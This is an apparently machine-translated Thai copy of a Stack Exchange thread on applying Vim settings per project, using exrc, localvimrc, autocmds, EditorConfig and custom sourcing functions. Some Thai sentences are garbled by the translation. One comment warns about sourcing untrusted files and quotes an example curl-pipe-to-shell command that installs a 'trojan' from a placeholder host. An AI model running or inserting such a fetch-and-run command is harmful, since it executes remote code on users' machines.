การนำการตั้งค่าไปใช้กับแผนผังไดเรกทอรีเท่านั้น


33

ที่ทำงานของฉันเราใช้มาตรฐานts2; ความชอบส่วนบุคคลของฉันคือ 4 ซึ่งเป็นสิ่งที่ผมใช้สำหรับโครงการงานอดิเรกของฉันและโครงการอื่น ๆ ts=8ที่เราได้รับมรดกมีการประชุมของ

นอกจากนี้ยังมีการตั้งค่าอื่น ๆ ที่ฉันต้องการตั้งเป็นพื้นฐานของโครงการ (เช่นการพับ) อ้างอิงการตั้งค่าเหล่านี้ในประเภทไฟล์หรือการตรวจจับโดยอัตโนมัติตามสิ่งที่ไฟล์ใช้ไม่ใช่ตัวเลือกที่ดีเนื่องจากฉันต้องการเคารพข้อตกลงของแต่ละโครงการ

ฉันสามารถทำให้ Vim ใช้ไฟล์การตั้งค่าที่ใช้กับโครงการ (ทุกอย่างในแผนผังไดเรกทอรี) โดยไม่ต้องเพิ่ม modeline ให้กับไฟล์ทั้งหมดได้หรือไม่?


คำตอบ:


19

มีวิธีที่มีน้ำหนักเบาในการทำเช่นนี้

  1. ตรวจสอบไฟล์ที่มีชื่อและแหล่งที่มา

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    ไฟล์ถูกซ่อนอยู่ในตัวอย่าง แต่เป็นตัวเลือก

  2. ท้องถิ่น.vimrcไฟล์ (ไม่เหมือนกับปลั๊กอิน)

    set exrc
    

    สิ่งนี้คล้ายกับ 1 แต่ไฟล์จะถูกเรียกว่า ".vimrc"

    คำแนะนำทั่วไปในการติดตามสิ่งนี้คือการใช้

    set secure
    

    ซึ่งป้องกัน.vimrcไฟล์จากการทำสิ่งที่อาจเป็นอันตรายเช่นการเรียกใช้คำสั่งเชลล์ ความคิดคือคุณไม่ต้องการให้กลุ่มอ่าน.vimrcไฟล์ที่เขียนโดยคนอื่นที่ทำสิ่งที่น่ารังเกียจ

  3. คำสั่งอัตโนมัติที่ตรวจสอบเส้นทางปัจจุบัน

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    นี่คือตัวเลือกที่ฉันใช้ ฉันไม่ได้เปลี่ยนแปลงอะไรมากมายระหว่างโปรเจ็กต์ต่าง ๆ ดังนั้น YMMV แต่ถ้าคุณแค่อยากทำสิ่งหนึ่งหรือสองอย่างบนเส้นทางและเก็บไว้ในของคุณ.vimrcมันดีและเรียบง่าย


โปรดทราบว่าตัวเลือกที่ 1 และ 2 มีข้อ จำกัด เดียวกันกับที่อธิบายไว้ในความคิดเห็นนี้ : มันไม่ได้ใช้ซ้ำกับไดเรกทอรีย่อย

15

ฉันใช้localvimrcเพื่อจุดประสงค์นี้

ใส่กับการตั้งค่าของโครงการภายในโครงการของคุณและการตั้งค่าเหล่านี้จะแทนที่การตั้งค่าใน.lvimrc.vimrc

โดยค่าเริ่มต้นคุณจะถูกถามว่าคุณต้องการแหล่งไฟล์นี้หรือไม่เช่น:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

นี่คือการป้องกันการจัดหาไฟล์ vimrc แบบสุ่ม (ไม่น่าเชื่อถือ) หากคุณพบว่าน่ารำคาญคุณสามารถตั้งค่ารายการที่อนุญาตของ.lvimrcไฟล์ด้วยg:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

set g:localvimrc_ask = 0หรือคุณสามารถปิดการใช้งานเพียงแค่ขอยืนยันอย่างสมบูรณ์ด้วย แม้ว่าจะไม่แนะนำก็ตาม


5

การกำหนดค่ากลาง

หากไม่สามารถกำหนดค่าคำสั่ง / ข้อยกเว้นเฉพาะจากส่วนกลางคุณสามารถใส่ autocmds ดังกล่าวลงใน~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

มันเป็นสิ่งสำคัญที่จะใช้:setlocalแทน:setและเช่นเดียวกันและ:map <buffer> ...:command! -buffer ...

ในทางกลับกันหากคุณต้องการการกำหนดค่าเฉพาะที่จัดเก็บไว้ในโครงการ (และไม่ต้องการฝังสิ่งนี้ในไฟล์ทั้งหมดผ่านทางแบบจำลอง ) คุณมีสองตัวเลือกดังต่อไปนี้:

การกำหนดค่าท้องถิ่นพร้อมฟังก์ชันการทำงานในตัว

หากคุณเริ่ม Vim จากไดเร็กทอรีรูทโปรเจ็กต์ในตัวเสมอ

:set exrc

เปิดใช้งานการอ่าน.vimrcไฟล์จากไดเรกทอรีปัจจุบัน คุณสามารถวาง:set ts=4 sw=4คำสั่งในนั้น

การกำหนดค่าท้องถิ่นผ่านปลั๊กอิน

มิฉะนั้นคุณต้องการความช่วยเหลือของปลั๊กอิน; มีหลายอย่างใน vim.org; ฉันสามารถแนะนำปลั๊กอิน localrcซึ่งแม้จะอนุญาตการกำหนดค่าเฉพาะประเภทไฟล์ในเครื่อง

โปรดทราบว่าการอ่านการกำหนดค่าจากระบบไฟล์มีผลกระทบด้านความปลอดภัย :set secureคุณอาจต้องการที่จะ


2
โปรดทราบว่า.exrcมีข้อ จำกัด อย่างยิ่ง: แนวคิดโครงการหยุดที่ไดเรกทอรีปัจจุบันเช่นไฟล์ในไดเรกทอรีย่อยไม่ได้เป็นของโครงการ
Luc Hermitte

4

มีโครงการแก้ไขการตั้งค่าซึ่งช่วยให้คุณสามารถกำหนดค่าระดับโครงการเช่นการตั้งค่า tabstop พร้อมกับรูปแบบบรรทัดใหม่และสิ่งอื่น ๆ มีการอุดตันจำนวนมากสำหรับทุกประเภทของบรรณาธิการรวมทั้งเป็นกลุ่ม นอกจากนี้ยังช่วยให้คุณกำหนดการตั้งค่าสำหรับไฟล์ประเภทต่างๆ

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

ฉันเขียนสิ่งนี้และเพิ่มลงใน. vimrc ของฉันเพื่ออนุญาตให้ฉันวางไฟล์. vimsettings ในโปรเจ็กต์และโปรเจ็กต์ย่อย

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

ในขณะที่ใช้งานได้ก็ถือว่าเป็นอันตรายเพราะคุณเพียงแค่จัดหาไฟล์และดำเนินการคำสั่งทั้งหมดในนั้น (รวมถึงคำสั่งเชลล์เช่นsystem('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

ฉันต้องการสิ่งนี้ดังนั้นฉันจึงนำไปใช้ในพื้นที่ ฉันไม่ได้เกี่ยวข้องกับ "การเรียกใช้รหัสแบบสุ่ม" แต่วิธีนี้อาจใช้งานได้สำหรับความต้องการแบบง่าย ๆ ปรับชื่อไฟล์ตามที่จำเป็น

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

นี่local.vimrcคือ symlink ไปยังไฟล์ในคอลเล็กชั่นไฟล์ vimrc ของฉันซึ่งฉันสามารถเก็บไว้ในแหล่งอื่นได้ซึ่งทำให้ง่ายต่อการย้าย config ทั้งหมดไปยังเครื่องอื่นหรือถ้าฉันเยี่ยมชม บริษัท ในสถานที่หรือบางสิ่งบางอย่าง . การกำหนดค่าแบบเรียงซ้อนสามารถใช้งานได้ แต่ในทางปฏิบัติฉันไม่ต้องการฟังก์ชั่นนั้น ฉันวางสายF8เพื่อเปิดไฟล์ที่พบและ "main" ของฉัน.vimrcในแท็บใหม่ ...

ภายในการกำหนดค่าในเครื่องเหล่านั้นเนื่องจากมีการแยกวิเคราะห์สำหรับไฟล์ที่เปิดทุกไฟล์ให้แน่ใจว่าได้ตั้งค่าการแมปและการตั้งค่าให้เป็นบัฟเฟอร์ในเครื่อง เช่น

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.